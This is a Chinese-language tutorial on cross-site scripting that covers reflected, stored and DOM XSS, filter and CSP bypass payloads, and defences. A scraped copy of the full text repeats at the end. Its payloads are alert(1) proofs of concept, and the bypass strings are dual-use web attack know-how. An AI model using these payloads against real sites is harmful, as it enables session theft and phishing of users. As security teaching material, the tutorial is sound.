从0到1完全掌握 XSS
字数 1768 2025-08-12 12:08:18

从0到1完全掌握XSS攻击与防御

0x01 XSS概述

XSS (Cross Site Scripting) 攻击全称跨站脚本攻击,是一种常见的Web应用安全漏洞,允许攻击者将恶意代码植入到提供给其他用户使用的页面中。

本质:XSS是一种高级钓鱼手法。

运行原理:将恶意的script脚本插入进html/css/js文件中。

0x02 XSS危害

  • 窃取用户敏感信息(如cookies、session tokens)
  • 劫持用户会话
  • 重定向到恶意网站
  • 发起CSRF攻击
  • 键盘记录
  • 传播蠕虫病毒

0x03 XSS分类与攻击手段

1. 反射型XSS(非持久型)

特点

  • 转瞬即逝,不存储在服务器上
  • 通常通过URL参数传递恶意代码
  • 需要诱骗用户点击恶意链接

基本Payload

<script>alert(1)</script>

绕过手段

(1) 大多数标签被禁止时的绕过

<body onresize=print()>" onload=this.style.width='100px'>

(2) 事件处理器与href被禁用时的绕过

<svg>
  <a>
    <animate attributeName=href values=javascript:alert(1) />
    <text x=20 y=20>Click me</text>
  </a>
</svg>

或:

<svg><animatetransform onbegin=alert(1)>

(3) 对script进行闭合后构造Payload

'-alert(document.domain)-'
';alert(document.domain)//

(4) 绕过CSP(Content Security Policy)

悬空标记攻击

alert(1)</script>&token=;script-src-elem 'unsafe-inline'

2. 存储型XSS

特点

  • 危害性最大
  • 恶意代码存储在服务器上(如数据库)
  • 每次访问受影响页面都会执行
  • 常见于评论、留言等功能

示例

username=<script>alert(1)</script>

3. DOM型XSS

特点

  • 完全由前端触发
  • 不依赖服务器响应
  • 基于文档对象模型(DOM)操作

常用标签与Payload

标签 示例Payload
script <script>alert(1);</script>
img ``
input <input onfocus=alert(1); autofocus>
details <details open ontoggle=alert(1);>
svg <svg onload=alert(1);>
select <select onfocus=alert(1) autofocus>
iframe <iframe onload=alert(1);></iframe>
video <video><source onerror=alert(1)>
body <body onload=alert(1);>
textarea <textarea onfocus=alert(1); autofocus>

jQuery中的DOM型XSS


0x04 XSS实战应用

1. 钓鱼攻击

  • 伪造登录表单窃取凭证
  • 伪造系统消息诱导用户操作
  • 结合CSRF进行更复杂的攻击

2. 从XSS到Getshell

  • 利用XSS获取管理员权限
  • 结合其他漏洞提升攻击效果
  • 上传webshell

0x05 XSS与CSRF的区别

特性 XSS CSRF
全称 跨站脚本攻击 跨站请求伪造
前提 不需要用户登录 需要用户已登录
利用点 利用站点内的信任用户 伪装来自受信任用户的请求
本质 向网站注入JS代码执行 利用用户身份发起恶意请求

0x06 XSS防御措施

1. 输入验证与过滤

  • 对用户输入进行严格验证
  • 过滤特殊字符(如<, >, ", ', &等)
  • 使用白名单机制

2. 输出编码

  • HTML实体编码
  • JavaScript编码
  • URL编码
  • CSS编码

3. CSP(内容安全策略)

  • 禁止加载外域代码
  • 禁止内联脚本执行
  • 禁止外域提交
  • 使用随机数和哈希值指定可信资源

示例CSP头

Content-Security-Policy: script-src 'self' https://trusted.cdn.com

4. 其他安全措施

  • 设置HTTP-only Cookie
  • 敏感操作使用验证码
  • 实施CSRF Token
  • 定期安全审计

0x07 总结

XSS攻击随着Web安全意识的提高已不像过去那样泛滥,但仍然是一个需要高度重视的安全威胁。理解XSS的攻击原理、掌握各种绕过技术、实施全面的防御措施,是Web安全从业者的必备技能。从反射型、存储型到DOM型XSS,每种类型都有其特点和利用方式,防御时也需要采取多层次、全方位的防护策略。

从0到1完全掌握XSS攻击与防御 0x01 XSS概述 XSS (Cross Site Scripting) 攻击全称跨站脚本攻击,是一种常见的Web应用安全漏洞,允许攻击者将恶意代码植入到提供给其他用户使用的页面中。 本质 :XSS是一种高级钓鱼手法。 运行原理 :将恶意的script脚本插入进html/css/js文件中。 0x02 XSS危害 窃取用户敏感信息(如cookies、session tokens) 劫持用户会话 重定向到恶意网站 发起CSRF攻击 键盘记录 传播蠕虫病毒 0x03 XSS分类与攻击手段 1. 反射型XSS(非持久型) 特点 : 转瞬即逝,不存储在服务器上 通常通过URL参数传递恶意代码 需要诱骗用户点击恶意链接 基本Payload : 绕过手段 : (1) 大多数标签被禁止时的绕过 (2) 事件处理器与href被禁用时的绕过 或: (3) 对script进行闭合后构造Payload (4) 绕过CSP(Content Security Policy) 悬空标记攻击 : 2. 存储型XSS 特点 : 危害性最大 恶意代码存储在服务器上(如数据库) 每次访问受影响页面都会执行 常见于评论、留言等功能 示例 : 3. DOM型XSS 特点 : 完全由前端触发 不依赖服务器响应 基于文档对象模型(DOM)操作 常用标签与Payload : | 标签 | 示例Payload | |------|------------| | script | <script>alert(1);</script> | | img | `` | | input | <input onfocus=alert(1); autofocus> | | details | <details open ontoggle=alert(1);> | | svg | <svg onload=alert(1);> | | select | <select onfocus=alert(1) autofocus> | | iframe | <iframe onload=alert(1);></iframe> | | video | <video><source onerror=alert(1)> | | body | <body onload=alert(1);> | | textarea | <textarea onfocus=alert(1); autofocus> | jQuery中的DOM型XSS : 0x04 XSS实战应用 1. 钓鱼攻击 伪造登录表单窃取凭证 伪造系统消息诱导用户操作 结合CSRF进行更复杂的攻击 2. 从XSS到Getshell 利用XSS获取管理员权限 结合其他漏洞提升攻击效果 上传webshell 0x05 XSS与CSRF的区别 | 特性 | XSS | CSRF | |------|-----|------| | 全称 | 跨站脚本攻击 | 跨站请求伪造 | | 前提 | 不需要用户登录 | 需要用户已登录 | | 利用点 | 利用站点内的信任用户 | 伪装来自受信任用户的请求 | | 本质 | 向网站注入JS代码执行 | 利用用户身份发起恶意请求 | 0x06 XSS防御措施 1. 输入验证与过滤 对用户输入进行严格验证 过滤特殊字符(如 <, >, ", ', &等) 使用白名单机制 2. 输出编码 HTML实体编码 JavaScript编码 URL编码 CSS编码 3. CSP(内容安全策略) 禁止加载外域代码 禁止内联脚本执行 禁止外域提交 使用随机数和哈希值指定可信资源 示例CSP头 : 4. 其他安全措施 设置HTTP-only Cookie 敏感操作使用验证码 实施CSRF Token 定期安全审计 0x07 总结 XSS攻击随着Web安全意识的提高已不像过去那样泛滥,但仍然是一个需要高度重视的安全威胁。理解XSS的攻击原理、掌握各种绕过技术、实施全面的防御措施,是Web安全从业者的必备技能。从反射型、存储型到DOM型XSS,每种类型都有其特点和利用方式,防御时也需要采取多层次、全方位的防护策略。